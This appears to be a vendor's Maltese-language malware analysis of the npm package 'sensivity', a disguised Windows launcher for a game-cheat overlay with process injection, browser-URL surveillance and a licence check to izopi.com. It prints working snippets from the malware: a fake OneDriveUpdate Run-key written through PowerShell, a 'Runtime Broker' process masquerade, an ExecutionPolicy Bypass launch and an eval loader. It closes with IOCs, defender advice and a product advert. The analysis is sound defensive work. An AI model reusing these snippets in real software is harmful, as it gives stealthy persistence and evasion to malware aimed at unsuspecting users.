PairLoop: Pannell tal-Kontroll mill-Bogħod Moħbi fil-Pakkett npm

PairLoop: Pakkett npm wieħed, Sebgħin Verżjoni, u Panel tal-Kontroll mill-Bogħod tal-Windows Moħbi

TL; DR

Il-pakkett npm sensittività jiddeskrivi lilu nnifsu bħala "Sensivity Control Panel." Fuq Windows jaġixxi bħala għodda ta' kontroll remot u sorveljanza.

Il-punt tad-dħul tiegħu, launcher.js, isemmi mill-ġdid il-proċess tiegħu stess għal Runtime Broker, jikteb valur Run-key ta' autostart bl-isem OneDriveUpdate li jerġa' jniedi l-pakkett permezz ta' VBScript moħbi, joħloq PowerShell b' -ExecutionPolicy Bypass, u mbagħad jevalwa payload ta' server offuskat ta' 171 KB flimkien ma' modulu nattiv ta' 6.87 MB, sens.node.

Dan iservi panel tal-kontroll tat-tqabbil tat-telefon fuq il-port TCP 3000 u jaqra l-URL tal-address bar tal-browser attiv permezz tal-Windows UIAutomation, waqt li jħares lejn vidjo wieħed ta' YouTube hard-coded.

Żewġ partijiet li qabel kienu jidhru bħala kaxxi suwed issa huma solvuti. Is-server offuskat, server.obf.js, juża skema ta' array ta' strings RC4 ta' obfuscator.io; l-implimentazzjoni mill-ġdid tad-dekoder tiegħu offline (mingħajr JavaScript eżegwit) tirkupra endpoint estern wieħed — https://izopi.com/check.php — flimkien ma’ ċavetta pubblika RSA inkorporata użata biex tivverifika t-tweġibiet tal-liċenzja ffirmati.

Il-modulu nattiv, sens.node, mhuwiex ippakkjat: it-tabella tal-importazzjoni tiegħu u l-istrings inkorporati jidentifikawh bħala overlay fil-logħba DirectX 11 / Dear ImGui li jipprovdi karatteristiċi aimbot, ESP (wall-hack), u triggerbot, immexxija minn injezzjoni ta' proċess remot u qari/kitba fil-memorja.

Strings ġewwa fih jirreferu għal entitajiet ta' vetturi u postijiet fuq il-mappa konsistenti ma' GTA V / FiveM. Il-pakkett npm huwa l-pakkett tal-kunsinna u l-persistenza madwar dak il-modulu nattiv.

Is-sinjal li jiddefinixxi huwa operattiv, mhux tekniku: pubblikatur anonimu wieħed imbotta madwar sebgħin verżjoni ta’ pakkett wieħed — 2.5.0 sal-2.5.69 — matul ftit jiem, kull wieħed iġorr l-istess lanċatur.

M'hemm l-ebda installazzjoni hooksIl-payload jaħdem biss meta l-pakkett jinbeda.

L-Attakk: Kif Jaħdem

sensitivity tibgħat għaxar fajls. Il-package.json huwa sparse: l-ebda qasam tar-repożitorju, l-ebda liċenzja, aliases main u tnejn bin (sensitivity, sens) kollha jippuntaw lejn launcher.js, u skript tal-bidu tan-node launcher.js. M'hemm l-ebda postinstall jew preinstall. Xejn ma jaħdem waqt l-installazzjoni npm. L-imġiba deskritta hawn taħt taħdem meta utent jibda l-pakkett — permezz tal-bin shim, l-iskript tal-bidu, jew require.

It-tarball iġorr il-launcher, server offuskat, il-modulu nattiv, skript Visual Basic, u direttorju public/web għall-pannell tal-kontroll. launcher.js huwa l-orkestratur li jinqara; il-loġika li hija importanti waqt ir-runtime tinsab fiż-żewġ blobs li jgħabbi — server offuskat u modulu nattiv ikkumpilat, it-tnejn solvuti hawn taħt.

 Maskrata tal-proċess u aġġornatur falz ta' OneDrive

Kmieni fl-eżekuzzjoni launcher.js jistabbilixxi l-isem tal-proċess tiegħu stess darbtejn:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker huwa proċess leġittimu tal-Windows (RuntimeBroker.exe) li jimmedja l-permessi tal-app. Jekk tibdel l-isem ta' proċess Node biex jaqbel miegħu, daqqa t'għajn lejn it-Task Manager ma turi xejn mhux tas-soltu.

Il-persistenza hija miktuba permezz ta' PowerShell minflok API tar-reġistru dirett:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Il-valur tal-istartjar awtomatiku jismu OneDriveUpdate, u ma jippontax direttament lejn il-pakkett. Jipponta lejn wscript.exe li qed iħaddem il-pakkett OneDrive.Standalone.Updater.vbs. Dak l-iskritt jerġa' jniedi node launcher.js f'tieqa moħbija. Kemm l-isem Run-key kif ukoll l-isem tal-fajl VBScript jissellfu l-branding ta' Microsoft, għalhekk l-entrata tal-istartjar awtomatiku tinqara bħala kompitu ta' rutina ta' OneDrive.

PowerShell b'bypass tal-politika tal-eżekuzzjoni

Il-lanċjatur jibgħat messaġġi ripetutament lil PowerShell. Is-sink li l-iskanners jimmarkaw bħala kritiku huwa t-tnedija ta' .ps1 iġġenerat bil-politika ta' eżekuzzjoni diżattivata:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass ineħħi l-verifika lokali tal-iffirmar tal-iskritt għal dik l-invokazzjoni. L-iskripts iġġenerati jimmaniġġjaw ix-xogħol ta' sorveljanza tal-browser u skoperta tat-twieqi deskritt fit-taqsima li jmiss.

Is-server offuskat u l-modulu nattiv

Wara s-setup, launcher.js jgħabbi u jesegwixxi l-payload reali tiegħu:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js huwa 171 KB ta' offuskazzjoni _0x-array — il-mudell JavaScript fejn kull string u identifikatur jiġi sostitwit b'indiċi f'array imħallat, imbagħad de-referenzjat waqt l-eżekuzzjoni. L-iskema hija l-varjant RC4 prodott minn obfuscator.io: funzjoni ta' dekoder waħda tiddekodifika b'base64 entrata ta' array u mbagħad tiddekriptaha b'RC4 b'ċavetta għal kull sejħa. L-implimentazzjoni mill-ġdid ta' dak id-dekoder fi skript separat — li ​​jħaddem biss l-implimentazzjoni mill-ġdid fuq l-array ta' strings ta' 821 entrata estratt, qatt il-JavaScript tal-pakkett stess — jiżvolġih b'mod nadif. Dak li jidher huwa modest iżda decisive: URL estern wieħed, https://izopi.com/check.php`, assenjat għal kostanti LICENSE_URL; RSA PUBLIC_KEY_PEM` inkorporat; ir-rotot tal-pannell lokali /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, u /trigger/status; u l-istrings child_process, crypto, u [Sensitivity] sens.node mgħobbija — tal-aħħar hija l-linja tal-log eżatta li l-lanċjatur jerġa' jikteb għall-modulu tal-programm mgħobbi. L-endpoint huwa kontroll tal-liċenzja: il-klijent jippubblika identifikatur (is-server offuskat jifformattja string ta' Discord ID: %s) u ċ-ċavetta RSA tivverifika r-rispons iffirmat tas-server.

sens.node huwa addon nattiv ikkumpilat ta' 6.87 MB, u mhux ippakkjat — l-entropija tas-sezzjoni tinsab fil-verżjoni 5.6–6.6 u t-tabelli tal-importazzjoni u l-esportazzjoni tal-PE huma intatti, għalhekk il-kapaċitajiet tiegħu jistgħu jinqraw direttament. Jesporta napi_register_module_v1, il- standard Punt tad-dħul tan-nodu N-API, għalhekk is-server evalwat jgħabbih b'rekwiżit sempliċi. It-tabella tal-importazzjoni tiegħu hija t-tell. Minn KERNEL32 jiġbed OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, u Process32First/NextW — is-sett kanoniku biex jillokalizza proċess ieħor, jalloka memorja ġewwa fih, u jaqra jew jikteb dik il-memorja. Minn USER32 jiġbed GetAsyncKeyState, GetKeyState, mouse_event, u SetCursorPos; jgħaqqad d3d11.dll, D3DCOMPILER_43, u dwmapi għal overlay fuq l-iskrin, u s-sett sħiħ ta' WINHTTP għal sejħiet tan-netwerk. L-istrings inkorporati tiegħu jsemmu s-sett ta' karatteristiċi mingħajr ambigwità: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, u l-banner Dear ImGui Dear ImGui 1.91.3 WIP. L-istrings tal-post u l-entità bħal Grapeseed Medical Clinic u l-vokabularju tal-vettura-ESP huma konsistenti ma' GTA V / FiveM.

Id-diviżjoni hija fil-fatt intenzjonata: il-launcher.js li jista' jinqara jġorr biss il-partijiet li skaner jaqra faċilment — il-persistenza, il-masquerade, is-sejħa eval innifisha — filwaqt li l-offuskazzjoni taħbi l-host estern wieħed il-kuntatti tar-runtime, u l-binarju jżomm il-loġika tal-game-overlay u l-injezzjoni tal-proċess. Il-launcher huwa l-qoxra rqiqa u awditjabbli; is-server offuskat jaħbi l-identità tan-netwerk; il-modulu nattiv huwa l-payload. Niddeskrivu l-importazzjonijiet u l-istrings tal-binarju bħala moqrija; ma niddeduċux l-iskop tal-operatur minnhom.

 Pannell tal-kontroll tal-akkoppjar tat-telefon fuq il-port 3000

Il-lanċjatur jimmaniġġja web server lokali fuq il-port TCP 3000 u jittrattah bħala singleton. Jagħmel talba għal listener eżistenti u jneħħih qabel ma jorbot:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Il-pannell jista' jintlaħaq fuq http://localhost:3000, b'URL ta' fallback tal-LAN hard-coded ta' http://192.168.1.16:3000. Id-direttorju public/ u l-imġieba tal-pannell huma konsistenti ma' fluss ta' tqabbil QR: telefon jiskennja kodiċi u jingħaqad mal-host bħala remot. L-ebda dominju estern ta' kmand u kontroll ma jidher f'test ċar fil-launcher — iżda, kif turi d-deoffuskazzjoni ta' hawn fuq, wieħed huwa preżenti fis-server offuskat: l-endpoint tal-liċenzja izopi.com. Il-pannell innifsu huwa lokali u b'ambitu LAN; l-uniku host ħiereġ huwa dak il-kontroll tal-liċenzja.

Mudell ta' superviżur/ħaddiem separat iżomm il-proċess ħaj. Il-lanċjatur jerġa' jibda b'bandieri tal-ambjent SENSIVITY_SUPERVISOR u SENSIVITY_WORKER, b'kull tifel jaħdem moħbi, għalhekk il-qtil ta' proċess wieħed iħalli watchdog biex jerġa' jibda.

Sorveljanza tal-Browser u s-Sinjal ta' YouTube

L-aktar imġiba speċifika hija l-monitoraġġ tal-browser. launcher.js jibni PowerShell li jmexxi l-Windows UIAutomation biex jaqra l-address bar ta' browser li jkun qed jaħdem:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern jirritorna l-kontenut tat-test ta' element tal-UI. Applikat għall-kontroll tal-editjar tal-address-bar tal-browser, jirritorna l-URL li l-vittma qed tara bħalissa — mingħajr estensjoni tal-browser, mingħajr ma tmiss il-profil fuq id-diska, u mingħajr hook tal-API. L-iskritt iġġenerat jirrepeti lista $browserNames u jiġbed il-URL jew it-titlu tat-tieqa ta' liema browser ikun fuq quddiem nett.

Dak il-URL huwa ttestjat kontra mira waħda hard-coded:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Il-lanċjatur jagħmel stħarriġ fuq ċiklu ta' tliet sekondi għal tieqa tal-browser li turi YouTube, u l-PowerShell iġġenerata ġġorr par Get-YouTubeBrowser / Test-TargetYouTubeUrl li jaqbel ma' dak l-ID tal-vidjow. L-effett osservabbli huwa doppju: il-URL tal-browsing attiv jinqara mill-iskrin tal-vittma, u l-interazzjoni tal-host ma' vidjow speċifiku wieħed ta' YouTube tiġi skoperta. Aħna niddeskrivu l-mekkaniżmu u l-mira; ma niddeduċux motiv minnhom.

Il-qari tal-address-bar huwa dak li l-iskaner jittikketta sensitive_data_enumeration — sors ta' Process::env u UIAutomation li jitma' runtime kapaċi għan-netwerk. Jidher beninni waħdu u jirriżolvi ​​biss għal sorveljanza ladarba ċ-ċiklu tal-ħajja tad-dejta jiġi traċċat mis-sors ta' UIAutomation għas-server offuskat.

Evoluzzjoni tal-Kronoloġija u l-Verżjoni

Is-sensittività mhijiex upload ta' darba waħda. Il-kont tal-pubblikatur għandu madwar sebgħin verżjoni ppubblikata ta' dan il-pakkett wieħed, u oħrajn ġodda baqgħu jaslu matul it-tieqa tar-reviżjoni. Il-lanċjatur jikber karatteristika b'karatteristika tul il-linja 2.5.x filwaqt li l-persistenza u t-tagħbija tal-payload tiegħu jibqgħu fissi.

Data (UTC) Verżjonijiet osservati Stat tal-lanċjar
2026-06-02 2.5.8 - 2.5.46 (25) Lanċjar tal-pannelli QR bażiċi; Persistenza taċ-ċavetta Run; evalwazzjoni ta' server offuskat.
2026-06-03 2.5.53 - 2.5.61 (6) L-istess marka tas-swaba'; soppressjoni tat-traċċa tal-console.
2026-06-04 2.5.67, 2.5.68 (2) Iżżid mira ta' ingaġġ ta' YouTube imwaħħla wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Ripubblikazzjoni li timla l-vojt fil-firxa kollha; sorveljanza tas-superviżur/ħaddiema.

Il-qari tal-llanċjar fir-rappreżentanti mniżżla — 2.5.0, 2.5.36, u 2.5.69 — juri erba' livelli. L-ewwel builds iġorru l-llanċjar bażiku tal-QR-pairing. Mill-verżjoni 2.5.33 jidher il-ħsad tal-address-bar tal-UIAutomation. Mill-verżjoni 2.5.58 jiżdied saff ta' ġestjoni tas-superviżur. Mill-verżjoni 2.5.64, il-watchdog separat tas-superviżur/ħaddiem jikkompleta s-sett. Matul dan kollu, erba' affarijiet qatt ma jinbidlu: iċ-ċavetta OneDriveUpdate Run, id-dropper OneDrive.Standalone.Updater.vbs, is-server.obf.js evaljat, u l-modulu nattiv sens.node.

Il-mewġa tal-2026-06-05 hija notevoli għaliex ippubblikat mill-ġdid in-numri tal-verżjonijiet baxxi — 2.5.0 sa 2.5.15 — li ​​jinsabu taħt il-verżjonijiet ikkonfermati jiem qabel. L-effett huwa linja 2.5.x kontigwa fuq ir-reġistru, kull verżjoni ġġorr l-istess launcher.

Indikaturi ta' kompromess

L-indikaturi kollha hawn taħt inqraw direttament mit-tarball tal-pakkett. Il-lanċjatur li jinqara jġorr biss loopback u indirizz LAN privat wieħed; l-isem tal-host estern wieħed, izopi.com, ġie rkuprat billi server.obf.js ġie deobfuskat offline.

tip Indikatur Noti
Pakkett npm:sensivity (≈70 verżjoni, 2.5.0-2.5.69) Pubblikatur ta' pakkett wieħed; mingħajr repożitorju; mingħajr liċenzja.
File launcher.js Orkestratur li jista' jinqara; mira prinċipali u tal-bin.
File server.obf.js (≈171 KB) Pagament ta' obfuscator.io RC4 string-array, mgħobbi permezz ta' eval(fs.readFileSync(...)).
File sens.node (≈6.87 MB) PE32+ x86-64 Node N-API addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
File OneDrive.Standalone.Updater.vbs Launcher mill-ġdid moħbi (node launcher.js).
Netwerk https://izopi.com/check.php Endpoint tal-liċenzja/awtentikazzjoni rkuprat mis-server offuskat; iċ-ċavetta pubblika RSA inkorporata tivverifika r-risposti.
Kapaċità OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Injezzjoni ta' proċess remot u kapaċità ta' qari/kitba fil-memorja.
Kapaċità Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP Overlay tal-logħba DirectX 11 / ImGui li jimplimenta l-karatteristiċi ta' aimbot, ESP, u triggerbot.
Reġistru HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Valur tal-bidu awtomatiku li jipponta lejn wscript.exe u l-lanċjatur tal-VBScript.
Proċess process.title = 'Runtime Broker' Jaħbi ruħu bħala l-proċess leġittimu tal-Windows Runtime Broker.
Komportamentali powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Bypass tal-politika tal-eżekuzzjoni użat għall-iskripts tal-PowerShell iġġenerati.
Komportamentali UIAutomation ValuePattern qari tal-bar tal-indirizzi tal-browser Jaqra l-URL tat-tieqa tal-browser fuq quddiem nett.
Komportamentali ID tal-vidjo fil-mira wJWta2lO0Lw; Stħarriġ ta' 3 sekondi fuq YouTube Sinjal ta' monitoraġġ tal-ingaġġ imwaħħal.
Netwerk http://localhost:3000, riżerva http://192.168.1.16:3000 Pannell tal-kontroll tal-akkoppjar QR espost lokalment u fuq il-LAN.
ambjent SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Bnadar ta' koordinazzjoni tal-proċess ta' watchdog separat.

Attribuzzjoni, Impatt, u Difensuri

Il-pakkett huwa ppubblikat minn kont npm wieħed li l-email iddikjarat tiegħu huwa indirizz tal-Gmail mhux verifikat. Il-kont għandu punteġġ ta' reputazzjoni tar-reġistru negattiv ħafna, iżomm u jippubblika biss dan il-pakkett wieħed, u m'għandu l-ebda repożitorju tas-sors marbut. Ma vverifikajniex is-sjieda tal-email u nattribwixxu l-kampanja lill-kont tal-pubblikatur, mhux lil xi individwu msemmi. Il-lanċjatur ma jġorr l-ebda infrastruttura ta' test ċar, iżda l-host estern wieħed issa huwa magħruf: is-server offuskat jikkuntattja lil izopi.com għal verifika tal-liċenzja, u l-modulu nattiv — jinqara mit-tabella u l-istrings tal-importazzjoni tiegħu minflok ma jkun imreġġa' lura istruzzjoni b'istruzzjoni — huwa overlay tal-logħba li jinjetta u jaqra l-memorja ta' proċess ieħor.

L-impatt osservabbli jaqa' fuq l-utenti tal-Windows li jinstallaw u jħaddmu sensittività billi jistennew utilità tal-pannell tal-kontroll. Fuq dawk il-hosts, il-pakkett jistabbilixxi persistenza ta' bidu awtomatiku moħbija bħala kompitu OneDrive, ibiddel l-isem tiegħu biex jimita proċess tas-sistema, jaqra l-URL ta' dak kollu li jkun qed jibbrawżja l-utent, u jwaqqaf pannell ta' tqabbil li jorbot il-magna ma' remot fuq in-netwerk lokali. Il-watchdog tas-superviżur/ħaddiem ifisser li qtil ta' proċess wieħed ma jneħħihx; l-entrata Run-key tibqa' ħajja wara reboots. macOS u Linux mhumiex immirati mil-launcher — il-mogħdijiet tal-persistenza, PowerShell, u UIAutomation huma biss għall-Windows.

It-tħassir ta' sebgħin verżjoni hija t-tendenza li ta' min jiġbed l-attenzjoni għaliha. Il-pubblikazzjoni mill-ġdid ta' pakkett wieħed għexieren ta' drabi fi ftit jiem, inkluż il-mili mill-ġdid tan-numri tal-verżjoni taħt dawk li diġà tneħħew, iżżomm kopja ħajja fir-reġistru bejn it-tneħħija u tfixkel il-listi ta' blokki mblukkati bil-verżjoni. Dħul fil-lista ta' blokki għal sensitivity@2.5.61 ma jagħmel xejn kontra sensitivity@2.5.3 li jerġa' jiġi ppubblikat l-għada.

Id-difensuri jistgħu jaġixxu fuq dan li ġej:

  • Imblokka s-sensittività tal-isem tal-pakkett għalkollox fir-registry-proxy u l-listi permessi tas-CI. L-iffissar ta' verżjonijiet individwali jitlef il-kadenza tal-pubblikazzjoni mill-ġdid; l-isem huwa l-indikatur durabbli.
  • Fittex għal valur Run bl-isem OneDriveUpdate li d-dejta tiegħu tinvoka wscript.exe kontra .vbs f'mogħdija għal kull utent. L-aġġornament ġenwin ta' OneDrive mhuwiex irreġistrat b'dan il-mod.
  • Twissija dwar proċess Node.js li l-process.title tiegħu huwa Runtime Broker. Il-broker reali huwa RuntimeBroker.exe, mhux runtime ta' Node.
  • Immarka l-fetches tal-npm install-time ta' pakketti li jwasslu addon .node ikkumpilat flimkien ma' eval(fs.readFileSync(…)) ta' fajl .obf.js aħwa. Dak it-tqabbil — binarju nattiv opak mgħobbi ħdejn payload ta' test offuskat — huwa t-tell strutturali hawnhekk, indipendenti minn kwalunkwe string IOC.
  • Ittratta kwalunkwe listener marbut lokalment fuq il-port 3000 li jinħoloq minn proċess Node mhux mistenni bħala suspett fuq endpoints tal-Windows immaniġġjati.
  • Imblokka jew twissi dwar talbiet ħerġin lil izopi.com minn hosts tal-iżviluppatur jew tal-utent finali; huwa l-uniku endpoint estern tal-pakkett, li jintlaħaq f'/check.php mis-server offuskat.
  • Għal kwalunkwe addon .node inkluż, spezzjona t-tabella tal-importazzjoni tiegħu qabel ma tafdah. Il-kombinazzjoni OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread hija injezzjoni ta' proċess remot irrispettivament minn dak li jiddikjara li jagħmel il-pakkett; hawn tinsab ħdejn overlay Direct3D u strings aimbot/ESP/triggerbot.

Għall-analiżi statika pipelines, il-forma tal-konvinzjoni hija dejjiema matul it-telf tal-verżjonijiet: profil ta' installazzjoni mhux tan-netwerk, assenjazzjoni ta' titlu tal-proċess lil isem magħruf tas-sistema-proċess, kitba ta' Run-key permezz ta' PowerShell, u evalwazzjoni ta' fajl moqri mid-diska. L-ebda waħda minn dawn ma tiddependi fuq dominju, IP, jew numru ta' verżjoni li l-pubblikazzjoni mill-ġdid li jmiss tista' tneħħi.

 Referenzi

[npm: sensittività] – paġna tar-reġistru għal-linja tal-verżjoni tal-pakkett diskussa hawn; soġġetta għal tneħħija.

sca-tools-software-composition-analysis-tools
Prijoritizza, irranġa, u assigura r-riskji tas-softwer tiegħek
Ikseb il-Kont B'Xejn tiegħek.
Mhix meħtieġa karta ta 'kreditu.

Assigura l-Iżvilupp u l-Kunsinna tas-Softwer tiegħek

bis-Suite tal-Prodotti Xygeni